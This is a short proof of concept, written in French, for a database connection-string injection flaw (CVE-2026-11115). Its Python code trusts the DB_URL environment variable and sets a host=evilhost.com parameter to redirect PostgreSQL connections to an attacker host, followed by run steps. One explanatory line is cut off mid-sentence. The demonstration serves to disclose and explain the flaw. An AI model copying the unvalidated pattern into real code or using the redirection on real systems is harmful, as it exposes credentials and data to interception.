
Preuve de concept Python minimale pour CVE-2026-11115, démontrant l'injection de chaîne de connexion de base de données via des variables d'environnement et la redirection vers des hôtes PostgreSQL contrôlés par l'attaquant.
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
Une application construit sa chaîne de connexion à la base de données à partir d'une variable d'environnement sans validation. Si un attaquant peut influencer cette variable (par exemple, via une falsification de requête côté serveur ou une mauvaise configuration du pipeline CI/CD), il peut rediriger la connexion à la base de données vers son propre serveur, interceptant ou modifiant les données.
host) peuvent être ajoutés pour remplacer l'hôte d'origine.Exécutez la simulation :
pip install psycopg2-binary
python db_connector.py
Le programme tente de se connecter à evilhost.com au lieu de localhost.